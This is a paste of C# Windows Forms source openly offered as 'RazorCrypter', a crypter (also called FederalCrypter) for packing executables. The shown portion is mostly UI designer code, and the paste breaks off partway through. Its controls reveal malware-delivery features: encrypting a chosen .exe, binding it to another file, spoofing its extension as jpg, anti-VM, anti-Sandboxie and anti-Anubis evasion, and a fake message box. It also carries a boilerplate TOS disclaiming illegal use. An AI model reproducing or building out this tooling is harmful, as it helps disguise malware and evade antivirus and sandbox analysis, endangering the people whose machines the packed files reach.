Advertisement
FederationHax

RazorCrypter source | By Federation

Jun 7th, 2016
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.57 KB | None | 0 0
  1. BY FEDERATIONHAX |
  2. ----------------------
  3.  
  4. using RazorCrypt_v2.Properties;
  5. using System;
  6. using System.Collections.Generic;
  7. using System.ComponentModel;
  8. using System.Diagnostics;
  9. using System.Drawing;
  10. using System.IO;
  11. using System.Net;
  12. using System.Reflection;
  13. using System.Text;
  14. using System.Threading;
  15. using System.Windows.Forms;
  16.  
  17. namespace RazorCrypt_v2
  18. {
  19. public class Form1 : Form
  20. {
  21. private static Random random = new Random((int) DateTime.Now.Ticks);
  22. private IContainer components;
  23. private ProgressBar progressBar1;
  24. private Label label3;
  25. private Label label4;
  26. private Button button4;
  27. private CheckBox checkBox9;
  28. private OpenFileDialog openFileDialog1;
  29. private OpenFileDialog openFileDialog2;
  30. private OpenFileDialog openFileDialog3;
  31. private SaveFileDialog saveFileDialog1;
  32. private PictureBox pictureBox1;
  33. private OpenFileDialog openFileDialog4;
  34. private SaveFileDialog saveFileDialog2;
  35. private TabPage tabPage5;
  36. private WebBrowser webBrowser1;
  37. private TabPage tabPage4;
  38. private GroupBox groupBox13;
  39. private Button button8;
  40. private TextBox textBox9;
  41. private Label label25;
  42. private Button button7;
  43. private TextBox textBox8;
  44. private TabPage tabPage3;
  45. private GroupBox groupBox12;
  46. private Label label24;
  47. private Label label23;
  48. private Label label22;
  49. private Label label21;
  50. private Label label20;
  51. private Label label19;
  52. private Label label18;
  53. private Label label17;
  54. private Label label16;
  55. private Label label15;
  56. private Label label14;
  57. private Label label13;
  58. private GroupBox groupBox11;
  59. private Label label12;
  60. private Label label11;
  61. private Label label9;
  62. private Label label8;
  63. private Label label7;
  64. private Label label6;
  65. private GroupBox groupBox10;
  66. private Button button6;
  67. private TextBox textBox7;
  68. private CheckBox checkBox16;
  69. private TabPage tabPage2;
  70. private GroupBox groupBox9;
  71. private CheckBox checkBox15;
  72. private CheckBox checkBox14;
  73. private CheckBox checkBox13;
  74. private GroupBox groupBox8;
  75. private Button button5;
  76. private RichTextBox richTextBox1;
  77. private TextBox textBox6;
  78. private CheckBox checkBox12;
  79. private GroupBox groupBox7;
  80. private RadioButton radioButton7;
  81. private RadioButton radioButton6;
  82. private CheckBox checkBox11;
  83. private GroupBox groupBox6;
  84. private RadioButton radioButton5;
  85. private RadioButton radioButton4;
  86. private RadioButton radioButton3;
  87. private CheckBox checkBox10;
  88. private TabPage tabPage1;
  89. private GroupBox groupBox5;
  90. private CheckBox checkBox8;
  91. private CheckBox checkBox7;
  92. private CheckBox checkBox6;
  93. private Label label2;
  94. private TextBox textBox5;
  95. private CheckBox checkBox5;
  96. private ComboBox comboBox2;
  97. private ComboBox comboBox1;
  98. private CheckBox checkBox4;
  99. private CheckBox checkBox3;
  100. private CheckBox checkBox2;
  101. private Label label1;
  102. private TextBox textBox4;
  103. private CheckBox checkBox1;
  104. private GroupBox groupBox4;
  105. private RadioButton radioButton2;
  106. private RadioButton radioButton1;
  107. private GroupBox groupBox3;
  108. private Button button3;
  109. private TextBox textBox3;
  110. private GroupBox groupBox2;
  111. private Button button2;
  112. private TextBox textBox2;
  113. private GroupBox groupBox1;
  114. private Button button1;
  115. private TextBox textBox1;
  116. private TabControl tabControl1;
  117. private TextBox textBox10;
  118. private Label label5;
  119. private Label label26;
  120.  
  121. public Form1()
  122. {
  123. this.InitializeComponent();
  124. }
  125.  
  126. protected override void Dispose(bool disposing)
  127. {
  128. if (disposing && this.components != null)
  129. this.components.Dispose();
  130. base.Dispose(disposing);
  131. }
  132.  
  133. private void InitializeComponent()
  134. {
  135. this.progressBar1 = new System.Windows.Forms.ProgressBar();
  136. this.label3 = new System.Windows.Forms.Label();
  137. this.label4 = new System.Windows.Forms.Label();
  138. this.button4 = new System.Windows.Forms.Button();
  139. this.checkBox9 = new System.Windows.Forms.CheckBox();
  140. this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
  141. this.openFileDialog2 = new System.Windows.Forms.OpenFileDialog();
  142. this.openFileDialog3 = new System.Windows.Forms.OpenFileDialog();
  143. this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
  144. this.pictureBox1 = new System.Windows.Forms.PictureBox();
  145. this.openFileDialog4 = new System.Windows.Forms.OpenFileDialog();
  146. this.saveFileDialog2 = new System.Windows.Forms.SaveFileDialog();
  147. this.tabPage5 = new System.Windows.Forms.TabPage();
  148. this.webBrowser1 = new System.Windows.Forms.WebBrowser();
  149. this.tabPage4 = new System.Windows.Forms.TabPage();
  150. this.groupBox13 = new System.Windows.Forms.GroupBox();
  151. this.button8 = new System.Windows.Forms.Button();
  152. this.textBox9 = new System.Windows.Forms.TextBox();
  153. this.label25 = new System.Windows.Forms.Label();
  154. this.button7 = new System.Windows.Forms.Button();
  155. this.textBox8 = new System.Windows.Forms.TextBox();
  156. this.tabPage3 = new System.Windows.Forms.TabPage();
  157. this.groupBox12 = new System.Windows.Forms.GroupBox();
  158. this.label24 = new System.Windows.Forms.Label();
  159. this.label23 = new System.Windows.Forms.Label();
  160. this.label22 = new System.Windows.Forms.Label();
  161. this.label21 = new System.Windows.Forms.Label();
  162. this.label20 = new System.Windows.Forms.Label();
  163. this.label19 = new System.Windows.Forms.Label();
  164. this.label18 = new System.Windows.Forms.Label();
  165. this.label17 = new System.Windows.Forms.Label();
  166. this.label16 = new System.Windows.Forms.Label();
  167. this.label15 = new System.Windows.Forms.Label();
  168. this.label14 = new System.Windows.Forms.Label();
  169. this.label13 = new System.Windows.Forms.Label();
  170. this.groupBox11 = new System.Windows.Forms.GroupBox();
  171. this.label12 = new System.Windows.Forms.Label();
  172. this.label11 = new System.Windows.Forms.Label();
  173. this.label9 = new System.Windows.Forms.Label();
  174. this.label8 = new System.Windows.Forms.Label();
  175. this.label7 = new System.Windows.Forms.Label();
  176. this.label6 = new System.Windows.Forms.Label();
  177. this.groupBox10 = new System.Windows.Forms.GroupBox();
  178. this.button6 = new System.Windows.Forms.Button();
  179. this.textBox7 = new System.Windows.Forms.TextBox();
  180. this.checkBox16 = new System.Windows.Forms.CheckBox();
  181. this.tabPage2 = new System.Windows.Forms.TabPage();
  182. this.groupBox9 = new System.Windows.Forms.GroupBox();
  183. this.checkBox15 = new System.Windows.Forms.CheckBox();
  184. this.checkBox14 = new System.Windows.Forms.CheckBox();
  185. this.checkBox13 = new System.Windows.Forms.CheckBox();
  186. this.groupBox8 = new System.Windows.Forms.GroupBox();
  187. this.button5 = new System.Windows.Forms.Button();
  188. this.richTextBox1 = new System.Windows.Forms.RichTextBox();
  189. this.textBox6 = new System.Windows.Forms.TextBox();
  190. this.checkBox12 = new System.Windows.Forms.CheckBox();
  191. this.groupBox7 = new System.Windows.Forms.GroupBox();
  192. this.radioButton7 = new System.Windows.Forms.RadioButton();
  193. this.radioButton6 = new System.Windows.Forms.RadioButton();
  194. this.checkBox11 = new System.Windows.Forms.CheckBox();
  195. this.groupBox6 = new System.Windows.Forms.GroupBox();
  196. this.radioButton5 = new System.Windows.Forms.RadioButton();
  197. this.radioButton4 = new System.Windows.Forms.RadioButton();
  198. this.radioButton3 = new System.Windows.Forms.RadioButton();
  199. this.checkBox10 = new System.Windows.Forms.CheckBox();
  200. this.tabPage1 = new System.Windows.Forms.TabPage();
  201. this.groupBox5 = new System.Windows.Forms.GroupBox();
  202. this.label26 = new System.Windows.Forms.Label();
  203. this.textBox10 = new System.Windows.Forms.TextBox();
  204. this.label5 = new System.Windows.Forms.Label();
  205. this.checkBox8 = new System.Windows.Forms.CheckBox();
  206. this.checkBox7 = new System.Windows.Forms.CheckBox();
  207. this.checkBox6 = new System.Windows.Forms.CheckBox();
  208. this.label2 = new System.Windows.Forms.Label();
  209. this.textBox5 = new System.Windows.Forms.TextBox();
  210. this.checkBox5 = new System.Windows.Forms.CheckBox();
  211. this.comboBox2 = new System.Windows.Forms.ComboBox();
  212. this.comboBox1 = new System.Windows.Forms.ComboBox();
  213. this.checkBox4 = new System.Windows.Forms.CheckBox();
  214. this.checkBox3 = new System.Windows.Forms.CheckBox();
  215. this.checkBox2 = new System.Windows.Forms.CheckBox();
  216. this.label1 = new System.Windows.Forms.Label();
  217. this.textBox4 = new System.Windows.Forms.TextBox();
  218. this.checkBox1 = new System.Windows.Forms.CheckBox();
  219. this.groupBox4 = new System.Windows.Forms.GroupBox();
  220. this.radioButton2 = new System.Windows.Forms.RadioButton();
  221. this.radioButton1 = new System.Windows.Forms.RadioButton();
  222. this.groupBox3 = new System.Windows.Forms.GroupBox();
  223. this.button3 = new System.Windows.Forms.Button();
  224. this.textBox3 = new System.Windows.Forms.TextBox();
  225. this.groupBox2 = new System.Windows.Forms.GroupBox();
  226. this.button2 = new System.Windows.Forms.Button();
  227. this.textBox2 = new System.Windows.Forms.TextBox();
  228. this.groupBox1 = new System.Windows.Forms.GroupBox();
  229. this.button1 = new System.Windows.Forms.Button();
  230. this.textBox1 = new System.Windows.Forms.TextBox();
  231. this.tabControl1 = new System.Windows.Forms.TabControl();
  232. ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
  233. this.tabPage5.SuspendLayout();
  234. this.tabPage4.SuspendLayout();
  235. this.groupBox13.SuspendLayout();
  236. this.tabPage3.SuspendLayout();
  237. this.groupBox12.SuspendLayout();
  238. this.groupBox11.SuspendLayout();
  239. this.groupBox10.SuspendLayout();
  240. this.tabPage2.SuspendLayout();
  241. this.groupBox9.SuspendLayout();
  242. this.groupBox8.SuspendLayout();
  243. this.groupBox7.SuspendLayout();
  244. this.groupBox6.SuspendLayout();
  245. this.tabPage1.SuspendLayout();
  246. this.groupBox5.SuspendLayout();
  247. this.groupBox4.SuspendLayout();
  248. this.groupBox3.SuspendLayout();
  249. this.groupBox2.SuspendLayout();
  250. this.groupBox1.SuspendLayout();
  251. this.tabControl1.SuspendLayout();
  252. this.SuspendLayout();
  253. //
  254. // progressBar1
  255. //
  256. this.progressBar1.Location = new System.Drawing.Point(9, 279);
  257. this.progressBar1.Name = "progressBar1";
  258. this.progressBar1.Size = new System.Drawing.Size(404, 23);
  259. this.progressBar1.TabIndex = 1;
  260. //
  261. // label3
  262. //
  263. this.label3.AutoSize = true;
  264. this.label3.Location = new System.Drawing.Point(421, 285);
  265. this.label3.Name = "label3";
  266. this.label3.Size = new System.Drawing.Size(40, 13);
  267. this.label3.TabIndex = 2;
  268. this.label3.Text = "Status:";
  269. //
  270. // label4
  271. //
  272. this.label4.AutoSize = true;
  273. this.label4.Location = new System.Drawing.Point(467, 285);
  274. this.label4.Name = "label4";
  275. this.label4.Size = new System.Drawing.Size(23, 13);
  276. this.label4.TabIndex = 3;
  277. this.label4.Text = "idle";
  278. //
  279. // button4
  280. //
  281. this.button4.Location = new System.Drawing.Point(624, 275);
  282. this.button4.Name = "button4";
  283. this.button4.Size = new System.Drawing.Size(101, 27);
  284. this.button4.TabIndex = 4;
  285. this.button4.Text = "Crypt";
  286. this.button4.UseVisualStyleBackColor = true;
  287. this.button4.Click += new System.EventHandler(this.button4gcgrlick);
  288. //
  289. // checkBox9
  290. //
  291. this.checkBox9.AutoSize = true;
  292. this.checkBox9.Location = new System.Drawing.Point(514, 281);
  293. this.checkBox9.Name = "checkBox9";
  294. this.checkBox9.Size = new System.Drawing.Size(108, 17);
  295. this.checkBox9.TabIndex = 6;
  296. this.checkBox9.Text = "I accept the TOS";
  297. this.checkBox9.UseVisualStyleBackColor = true;
  298. //
  299. // openFileDialog1
  300. //
  301. this.openFileDialog1.Filter = "Executables|*.exe";
  302. this.openFileDialog1.Title = "Choose a file to encrypt.";
  303. //
  304. // openFileDialog2
  305. //
  306. this.openFileDialog2.Filter = "Icons|*ico";
  307. this.openFileDialog2.Title = "Choose an icon please.";
  308. //
  309. // openFileDialog3
  310. //
  311. this.openFileDialog3.Filter = "All Files|*.*";
  312. this.openFileDialog3.Title = "Choose a file to bind.";
  313. //
  314. // saveFileDialog1
  315. //
  316. this.saveFileDialog1.Filter = "Executables|*exe";
  317. this.saveFileDialog1.Title = "Save your file!";
  318. //
  319. // pictureBox1
  320. //
  321. // this.pictureBox1.Image = global::RazorCrypt_v2.Properties.Resources.rs_black;
  322. this.pictureBox1.Location = new System.Drawing.Point(727, 275);
  323. this.pictureBox1.Name = "pictureBox1";
  324. this.pictureBox1.Size = new System.Drawing.Size(132, 28);
  325. this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
  326. this.pictureBox1.TabIndex = 7;
  327. this.pictureBox1.TabStop = false;
  328. //
  329. // openFileDialog4
  330. //
  331. this.openFileDialog4.Filter = "Executables|*.exe";
  332. this.openFileDialog4.Title = "Choose a file to spoof please!";
  333. //
  334. // saveFileDialog2
  335. //
  336. this.saveFileDialog2.Title = "Where to save?";
  337. //
  338. // tabPage5
  339. //
  340. this.tabPage5.Controls.Add(this.webBrowser1);
  341. this.tabPage5.Location = new System.Drawing.Point(4, 22);
  342. this.tabPage5.Name = "tabPage5";
  343. this.tabPage5.Size = new System.Drawing.Size(849, 246);
  344. this.tabPage5.TabIndex = 4;
  345. this.tabPage5.Text = "Scanner";
  346. this.tabPage5.UseVisualStyleBackColor = true;
  347. //
  348. // webBrowser1
  349. //
  350. this.webBrowser1.Dock = System.Windows.Forms.DockStyle.Fill;
  351. this.webBrowser1.Location = new System.Drawing.Point(0, 0);
  352. this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20);
  353. this.webBrowser1.Name = "webBrowser1";
  354. this.webBrowser1.Size = new System.Drawing.Size(849, 246);
  355. this.webBrowser1.TabIndex = 0;
  356. this.webBrowser1.Url = new System.Uri("about:blank", System.UriKind.Absolute);
  357. this.webBrowser1.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.webBrowser1_DocumentCompleted);
  358. //
  359. // tabPage4
  360. //
  361. this.tabPage4.Controls.Add(this.groupBox13);
  362. this.tabPage4.Location = new System.Drawing.Point(4, 22);
  363. this.tabPage4.Name = "tabPage4";
  364. this.tabPage4.Size = new System.Drawing.Size(849, 246);
  365. this.tabPage4.TabIndex = 3;
  366. this.tabPage4.Text = "Extras";
  367. this.tabPage4.UseVisualStyleBackColor = true;
  368. //
  369. // groupBox13
  370. //
  371. this.groupBox13.Controls.Add(this.button8);
  372. this.groupBox13.Controls.Add(this.textBox9);
  373. this.groupBox13.Controls.Add(this.label25);
  374. this.groupBox13.Controls.Add(this.button7);
  375. this.groupBox13.Controls.Add(this.textBox8);
  376. this.groupBox13.Location = new System.Drawing.Point(110, 22);
  377. this.groupBox13.Name = "groupBox13";
  378. this.groupBox13.Size = new System.Drawing.Size(550, 188);
  379. this.groupBox13.TabIndex = 0;
  380. this.groupBox13.TabStop = false;
  381. this.groupBox13.Text = "Extension Spoofer";
  382. //
  383. // button8
  384. //
  385. this.button8.Location = new System.Drawing.Point(201, 131);
  386. this.button8.Name = "button8";
  387. this.button8.Size = new System.Drawing.Size(144, 51);
  388. this.button8.TabIndex = 6;
  389. this.button8.Text = "Spoof";
  390. this.button8.UseVisualStyleBackColor = true;
  391. this.button8.Click += new System.EventHandler(this.button8gcgrlick);
  392. //
  393. // textBox9
  394. //
  395. this.textBox9.Location = new System.Drawing.Point(68, 82);
  396. this.textBox9.Multiline = true;
  397. this.textBox9.Name = "textBox9";
  398. this.textBox9.Size = new System.Drawing.Size(52, 22);
  399. this.textBox9.TabIndex = 5;
  400. this.textBox9.Text = "jpg";
  401. //
  402. // label25
  403. //
  404. this.label25.AutoSize = true;
  405. this.label25.Location = new System.Drawing.Point(6, 85);
  406. this.label25.Name = "label25";
  407. this.label25.Size = new System.Drawing.Size(56, 13);
  408. this.label25.TabIndex = 4;
  409. this.label25.Text = "Extension:";
  410. //
  411. // button7
  412. //
  413. this.button7.Location = new System.Drawing.Point(354, 28);
  414. this.button7.Name = "button7";
  415. this.button7.Size = new System.Drawing.Size(94, 25);
  416. this.button7.TabIndex = 3;
  417. this.button7.Text = "[...]";
  418. this.button7.UseVisualStyleBackColor = true;
  419. this.button7.Click += new System.EventHandler(this.button7gcgrlick);
  420. //
  421. // textBox8
  422. //
  423. this.textBox8.Location = new System.Drawing.Point(9, 31);
  424. this.textBox8.Multiline = true;
  425. this.textBox8.Name = "textBox8";
  426. this.textBox8.Size = new System.Drawing.Size(339, 20);
  427. this.textBox8.TabIndex = 2;
  428. //
  429. // tabPage3
  430. //
  431. this.tabPage3.Controls.Add(this.groupBox12);
  432. this.tabPage3.Controls.Add(this.groupBox11);
  433. this.tabPage3.Controls.Add(this.groupBox10);
  434. this.tabPage3.Location = new System.Drawing.Point(4, 22);
  435. this.tabPage3.Name = "tabPage3";
  436. this.tabPage3.Size = new System.Drawing.Size(849, 246);
  437. this.tabPage3.TabIndex = 2;
  438. this.tabPage3.Text = "Binder, TOS, About";
  439. this.tabPage3.UseVisualStyleBackColor = true;
  440. //
  441. // groupBox12
  442. //
  443. this.groupBox12.Controls.Add(this.label24);
  444. this.groupBox12.Controls.Add(this.label23);
  445. this.groupBox12.Controls.Add(this.label22);
  446. this.groupBox12.Controls.Add(this.label21);
  447. this.groupBox12.Controls.Add(this.label20);
  448. this.groupBox12.Controls.Add(this.label19);
  449. this.groupBox12.Controls.Add(this.label18);
  450. this.groupBox12.Controls.Add(this.label17);
  451. this.groupBox12.Controls.Add(this.label16);
  452. this.groupBox12.Controls.Add(this.label15);
  453. this.groupBox12.Controls.Add(this.label14);
  454. this.groupBox12.Controls.Add(this.label13);
  455. this.groupBox12.Location = new System.Drawing.Point(419, 3);
  456. this.groupBox12.Name = "groupBox12";
  457. this.groupBox12.Size = new System.Drawing.Size(423, 240);
  458. this.groupBox12.TabIndex = 2;
  459. this.groupBox12.TabStop = false;
  460. this.groupBox12.Text = "TOS";
  461. //
  462. // label24
  463. //
  464. this.label24.AutoSize = true;
  465. this.label24.Location = new System.Drawing.Point(6, 186);
  466. this.label24.Name = "label24";
  467. this.label24.Size = new System.Drawing.Size(295, 13);
  468. this.label24.TabIndex = 11;
  469. this.label24.Text = "Distributing cracked versions will lead in legal consequences.";
  470. //
  471. // label23
  472. //
  473. this.label23.AutoSize = true;
  474. this.label23.Location = new System.Drawing.Point(6, 173);
  475. this.label23.Name = "label23";
  476. this.label23.Size = new System.Drawing.Size(353, 13);
  477. this.label23.TabIndex = 10;
  478. this.label23.Text = "Cracking FederalCrypter product can and will lead in legal consequences.";
  479. //
  480. // label22
  481. //
  482. this.label22.AutoSize = true;
  483. this.label22.Location = new System.Drawing.Point(6, 147);
  484. this.label22.Name = "label22";
  485. this.label22.Size = new System.Drawing.Size(412, 13);
  486. this.label22.TabIndex = 9;
  487. this.label22.Text = "By clicking the \"Crypt\"-Button you accept our TOS and confirm that you understand" +
  488. " it.";
  489. //
  490. // label21
  491. //
  492. this.label21.AutoSize = true;
  493. this.label21.Location = new System.Drawing.Point(6, 134);
  494. this.label21.Name = "label21";
  495. this.label21.Size = new System.Drawing.Size(388, 13);
  496. this.label21.TabIndex = 8;
  497. this.label21.Text = "If you brake any of our TOS rules we can terminate your license without a refund." +
  498. "";
  499. //
  500. // label20
  501. //
  502. this.label20.AutoSize = true;
  503. this.label20.Location = new System.Drawing.Point(6, 106);
  504. this.label20.Name = "label20";
  505. this.label20.Size = new System.Drawing.Size(222, 13);
  506. this.label20.TabIndex = 7;
  507. this.label20.Text = "8. Use the support forum for support requests.";
  508. //
  509. // label19
  510. //
  511. this.label19.AutoSize = true;
  512. this.label19.Location = new System.Drawing.Point(6, 93);
  513. this.label19.Name = "label19";
  514. this.label19.Size = new System.Drawing.Size(198, 13);
  515. this.label19.TabIndex = 6;
  516. this.label19.Text = "7. We can change our policy at anytime.";
  517. //
  518. // label18
  519. //
  520. this.label18.AutoSize = true;
  521. this.label18.Location = new System.Drawing.Point(6, 80);
  522. this.label18.Name = "label18";
  523. this.label18.Size = new System.Drawing.Size(405, 13);
  524. this.label18.TabIndex = 5;
  525. this.label18.Text = "6. We will not held responsible for the use of any of our porducts in an illegal " +
  526. "mannor.";
  527. //
  528. // label17
  529. //
  530. this.label17.AutoSize = true;
  531. this.label17.Location = new System.Drawing.Point(6, 68);
  532. this.label17.Name = "label17";
  533. this.label17.Size = new System.Drawing.Size(100, 13);
  534. this.label17.TabIndex = 4;
  535. this.label17.Text = "5. All sales are final.";
  536. //
  537. // label16
  538. //
  539. this.label16.AutoSize = true;
  540. this.label16.Location = new System.Drawing.Point(6, 55);
  541. this.label16.Name = "label16";
  542. this.label16.Size = new System.Drawing.Size(422, 13);
  543. this.label16.TabIndex = 3;
  544. this.label16.Text = "4. Chargebacks or threats of chargebacks result in an instant termination of your" +
  545. " license.";
  546. //
  547. // label15
  548. //
  549. this.label15.AutoSize = true;
  550. this.label15.Location = new System.Drawing.Point(6, 42);
  551. this.label15.Name = "label15";
  552. this.label15.Size = new System.Drawing.Size(136, 13);
  553. this.label15.TabIndex = 2;
  554. this.label15.Text = "3. Do not trash our threads.";
  555. //
  556. // label14
  557. //
  558. this.label14.AutoSize = true;
  559. this.label14.Location = new System.Drawing.Point(6, 29);
  560. this.label14.Name = "label14";
  561. this.label14.Size = new System.Drawing.Size(348, 13);
  562. this.label14.TabIndex = 1;
  563. this.label14.Text = "2. Offering a Crypting service while owning FederalCrypter is not allowed.";
  564. //
  565. // label13
  566. //
  567. this.label13.AutoSize = true;
  568. this.label13.Location = new System.Drawing.Point(6, 16);
  569. this.label13.Name = "label13";
  570. this.label13.Size = new System.Drawing.Size(269, 13);
  571. this.label13.TabIndex = 0;
  572. this.label13.Text = "1. Make Sure You are registered to www.federalhax.tk !";
  573. //
  574. // groupBox11
  575. //
  576. this.groupBox11.Controls.Add(this.label12);
  577. this.groupBox11.Controls.Add(this.label11);
  578. this.groupBox11.Controls.Add(this.label9);
  579. this.groupBox11.Controls.Add(this.label8);
  580. this.groupBox11.Controls.Add(this.label7);
  581. this.groupBox11.Controls.Add(this.label6);
  582. this.groupBox11.Location = new System.Drawing.Point(6, 83);
  583. this.groupBox11.Name = "groupBox11";
  584. this.groupBox11.Size = new System.Drawing.Size(407, 160);
  585. this.groupBox11.TabIndex = 1;
  586. this.groupBox11.TabStop = false;
  587. this.groupBox11.Text = "About";
  588. //
  589. // label12
  590. //
  591. this.label12.AutoSize = true;
  592. this.label12.Location = new System.Drawing.Point(6, 126);
  593. this.label12.Name = "label12";
  594. this.label12.Size = new System.Drawing.Size(41, 13);
  595. this.label12.TabIndex = 6;
  596. this.label12.Text = "label12";
  597. this.label12.Click += new System.EventHandler(this.label12_Click);
  598. //
  599. // label11
  600. //
  601. this.label11.AutoSize = true;
  602. this.label11.Location = new System.Drawing.Point(6, 102);
  603. this.label11.Name = "label11";
  604. this.label11.Size = new System.Drawing.Size(113, 13);
  605. this.label11.TabIndex = 5;
  606. this.label11.Text = "You are using Version:";
  607. //
  608. // label9
  609. //
  610. this.label9.AutoSize = true;
  611. this.label9.Location = new System.Drawing.Point(6, 65);
  612. this.label9.Name = "label9";
  613. this.label9.Size = new System.Drawing.Size(315, 13);
  614. this.label9.TabIndex = 3;
  615. this.label9.Text = "If you have any problems please contact us on our support forum.";
  616. //
  617. // label8
  618. //
  619. this.label8.AutoSize = true;
  620. this.label8.Location = new System.Drawing.Point(6, 42);
  621. this.label8.Name = "label8";
  622. this.label8.Size = new System.Drawing.Size(409, 13);
  623. this.label8.TabIndex = 2;
  624. this.label8.Text = "FederalCrypter is one of the most successful Crypters/Packers and up for over 1 y" +
  625. "ear!";
  626. //
  627. // label7
  628. //
  629. this.label7.AutoSize = true;
  630. this.label7.Location = new System.Drawing.Point(6, 29);
  631. this.label7.Name = "label7";
  632. this.label7.Size = new System.Drawing.Size(229, 13);
  633. this.label7.TabIndex = 1;
  634. this.label7.Text = "It is coded by FederationHax in C# and AutoIT.";
  635. //
  636. // label6
  637. //
  638. this.label6.AutoSize = true;
  639. this.label6.Location = new System.Drawing.Point(6, 16);
  640. this.label6.Name = "label6";
  641. this.label6.Size = new System.Drawing.Size(191, 13);
  642. this.label6.TabIndex = 0;
  643. this.label6.Text = "FederalCrypter is a CrypterSoft product.";
  644. //
  645. // groupBox10
  646. //
  647. this.groupBox10.Controls.Add(this.button6);
  648. this.groupBox10.Controls.Add(this.textBox7);
  649. this.groupBox10.Controls.Add(this.checkBox16);
  650. this.groupBox10.Location = new System.Drawing.Point(6, 3);
  651. this.groupBox10.Name = "groupBox10";
  652. this.groupBox10.Size = new System.Drawing.Size(407, 74);
  653. this.groupBox10.TabIndex = 0;
  654. this.groupBox10.TabStop = false;
  655. this.groupBox10.Text = "Binder";
  656. //
  657. // button6
  658. //
  659. this.button6.Location = new System.Drawing.Point(347, 40);
  660. this.button6.Name = "button6";
  661. this.button6.Size = new System.Drawing.Size(51, 23);
  662. this.button6.TabIndex = 3;
  663. this.button6.Text = "[...]";
  664. this.button6.UseVisualStyleBackColor = true;
  665. this.button6.Click += new System.EventHandler(this.button6gcgrlick);
  666. //
  667. // textBox7
  668. //
  669. this.textBox7.Location = new System.Drawing.Point(6, 42);
  670. this.textBox7.Name = "textBox7";
  671. this.textBox7.Size = new System.Drawing.Size(335, 20);
  672. this.textBox7.TabIndex = 2;
  673. //
  674. // checkBox16
  675. //
  676. this.checkBox16.AutoSize = true;
  677. this.checkBox16.Location = new System.Drawing.Point(6, 19);
  678. this.checkBox16.Name = "checkBox16";
  679. this.checkBox16.Size = new System.Drawing.Size(96, 17);
  680. this.checkBox16.TabIndex = 0;
  681. this.checkBox16.Text = "Use the Binder";
  682. this.checkBox16.UseVisualStyleBackColor = true;
  683. //
  684. // tabPage2
  685. //
  686. this.tabPage2.Controls.Add(this.groupBox9);
  687. this.tabPage2.Controls.Add(this.groupBox8);
  688. this.tabPage2.Controls.Add(this.groupBox7);
  689. this.tabPage2.Controls.Add(this.groupBox6);
  690. this.tabPage2.Location = new System.Drawing.Point(4, 24);
  691. this.tabPage2.Name = "tabPage2";
  692. this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
  693. this.tabPage2.Size = new System.Drawing.Size(849, 244);
  694. this.tabPage2.TabIndex = 1;
  695. this.tabPage2.Text = "Additional Options";
  696. this.tabPage2.UseVisualStyleBackColor = true;
  697. //
  698. // groupBox9
  699. //
  700. this.groupBox9.Controls.Add(this.checkBox15);
  701. this.groupBox9.Controls.Add(this.checkBox14);
  702. this.groupBox9.Controls.Add(this.checkBox13);
  703. this.groupBox9.Location = new System.Drawing.Point(551, 6);
  704. this.groupBox9.Name = "groupBox9";
  705. this.groupBox9.Size = new System.Drawing.Size(292, 224);
  706. this.groupBox9.TabIndex = 3;
  707. this.groupBox9.TabStop = false;
  708. this.groupBox9.Text = "Antis";
  709. //
  710. // checkBox15
  711. //
  712. this.checkBox15.AutoSize = true;
  713. this.checkBox15.Location = new System.Drawing.Point(6, 65);
  714. this.checkBox15.Name = "checkBox15";
  715. this.checkBox15.Size = new System.Drawing.Size(66, 17);
  716. this.checkBox15.TabIndex = 2;
  717. this.checkBox15.Text = "Anti VM ";
  718. this.checkBox15.UseVisualStyleBackColor = true;
  719. //
  720. // checkBox14
  721. //
  722. this.checkBox14.AutoSize = true;
  723. this.checkBox14.Location = new System.Drawing.Point(6, 42);
  724. this.checkBox14.Name = "checkBox14";
  725. this.checkBox14.Size = new System.Drawing.Size(97, 17);
  726. this.checkBox14.TabIndex = 1;
  727. this.checkBox14.Text = "Anti Sandboxie";
  728. this.checkBox14.UseVisualStyleBackColor = true;
  729. //
  730. // checkBox13
  731. //
  732. this.checkBox13.AutoSize = true;
  733. this.checkBox13.Location = new System.Drawing.Point(6, 19);
  734. this.checkBox13.Name = "checkBox13";
  735. this.checkBox13.Size = new System.Drawing.Size(79, 17);
  736. this.checkBox13.TabIndex = 0;
  737. this.checkBox13.Text = "Anti Anubis";
  738. this.checkBox13.UseVisualStyleBackColor = true;
  739. //
  740. // groupBox8
  741. //
  742. this.groupBox8.Controls.Add(this.button5);
  743. this.groupBox8.Controls.Add(this.richTextBox1);
  744. this.groupBox8.Controls.Add(this.textBox6);
  745. this.groupBox8.Controls.Add(this.checkBox12);
  746. this.groupBox8.Location = new System.Drawing.Point(241, 6);
  747. this.groupBox8.Name = "groupBox8";
  748. this.groupBox8.Size = new System.Drawing.Size(304, 224);
  749. this.groupBox8.TabIndex = 2;
  750. this.groupBox8.TabStop = false;
  751. this.groupBox8.Text = "Fake Message Box";
  752. //
  753. // button5
  754. //
  755. this.button5.Location = new System.Drawing.Point(223, 189);
  756. this.button5.Name = "button5";
  757. this.button5.Size = new System.Drawing.Size(75, 23);
  758. this.button5.TabIndex = 3;
  759. this.button5.Text = "Test";
  760. this.button5.UseVisualStyleBackColor = true;
  761. this.button5.Click += new System.EventHandler(this.button5gcgrlick);
  762. //
  763. // richTextBox1
  764. //
  765. this.richTextBox1.Location = new System.Drawing.Point(6, 68);
  766. this.richTextBox1.Name = "richTextBox1";
  767. this.richTextBox1.Size = new System.Drawing.Size(292, 115);
  768. this.richTextBox1.TabIndex = 2;
  769. this.richTextBox1.Text = "Content";
  770. //
  771. // textBox6
  772. //
  773. this.textBox6.Location = new System.Drawing.Point(6, 42);
  774. this.textBox6.Name = "textBox6";
  775. this.textBox6.Size = new System.Drawing.Size(292, 20);
  776. this.textBox6.TabIndex = 1;
  777. this.textBox6.Text = "Title";
  778. //
  779. // checkBox12
  780. //
  781. this.checkBox12.AutoSize = true;
  782. this.checkBox12.Location = new System.Drawing.Point(6, 19);
  783. this.checkBox12.Name = "checkBox12";
  784. this.checkBox12.Size = new System.Drawing.Size(148, 17);
  785. this.checkBox12.TabIndex = 0;
  786. this.checkBox12.Text = "Add a Fake Message Box";
